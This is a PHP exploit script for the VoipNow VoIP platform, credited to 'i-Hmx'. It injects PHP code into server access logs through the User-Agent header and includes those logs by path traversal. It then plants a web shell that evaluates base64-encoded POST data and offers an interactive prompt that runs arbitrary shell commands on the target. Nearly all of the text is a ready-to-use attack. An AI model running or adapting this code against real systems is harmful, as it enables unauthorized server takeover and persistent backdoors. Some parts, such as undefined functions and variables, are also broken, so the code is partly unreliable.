VoipNow , Remote command execution Exploit

<?
/*
+ Application : Voipnow
| Download : http://4psa.com/
| By Faris , AKA i-Hmx
| [email protected]
+ sec4ever.com , 1337s.cc
*/
echo "\n+-------------------------------------------+\n";
echo "|                  VoipNow                  |\n";
echo "|         PHP Code Injection Exploit        |\n";
echo "|                  By i-Hmx                 |\n";
echo "|                sec4ever.com               |\n";
echo "|             [email protected]             |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target [Ip Only] # ";
$target=trim(fgets(STDIN));
echo "[+] Attacking $target\n";
function faget($url,$post,$uagent){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $uagent);
curl_setopt($curl, CURLOPT_REFERER, "http://1337s.cc/index.php");
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
$inj="<?php eval(url_decode('%24f%3Dfopen%28%27%2fusr%2flocal%2fvoipnow%2fadmin%2fhtdocs%2ftemplates_c%2f1337.php%27%2C%27w%2b%27%29%3B%24data%3D%27%3C%3F%20echo%20%22Faris%20on%20the%20mic%20%3AD%3Cbr%3E%3Cb%[email protected]%3C%2fb%3E%3Cbr%3E-----------------%22%3B@eval%28base64_decode%28%24_POST%5Bfa%5D%29%29%3Becho%20%22-----------------%22%3B%20%3F%3E%27%3Bfwrite%28%24f%2C%24data%29%3Becho%20%22done%22%3B')); ?>";
echo " | Injecting Payload(s) [ Time Depend on server traffic ]\n";
echo "     + [0]";
faget("https://".$target."/help/index.php?screen=../../../../../../../../usr/local/voipnow/admin/logs/access.log",'',$inj);
echo " > Done\n";
for($f=1;$f<4;$f++)
{
echo "     + [$f]";
faget("https://".$target."/help/index.php?screen=../../../../../../../../usr/local/voipnow/admin/logs/access.log.$f",'',$inj);
echo " > Done\n";
}
echo " | Testing Payload Execution\n";
$fa1=faget("https://".$target."/templates_c/1337.php",'',"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
if(!eregi("Faris on the mic :D",$fa1))
{
die("[+] Exploitation Failed :(\n");
}
echo " | Sending CMD test package\n";
$cmd=faget($target."/templates_c/1337.php","fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
if(!eregi("farsawy",$cmd))
{
die("   + Cmd couldn't executed but we can evaluate php code\n   + use : $target/templates_c/1337.php\n   Post : fa=base64code\n");
}
echo "| sec4ever shell online ;)\n\n";
while(1){
echo "i-Hmx@$host# ";
$c=trim(fgets(STDIN));
if($c=='exit'){die("[+] Terminating\n");}
$payload=base64_encode("passthru('$c');");
$fuck=faget("https://".$target."/templates_c/1337.php","fa=$payload","Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
$done=kastr($fuck,"-----------------","-----------------");
echo "$done\n";
}
?>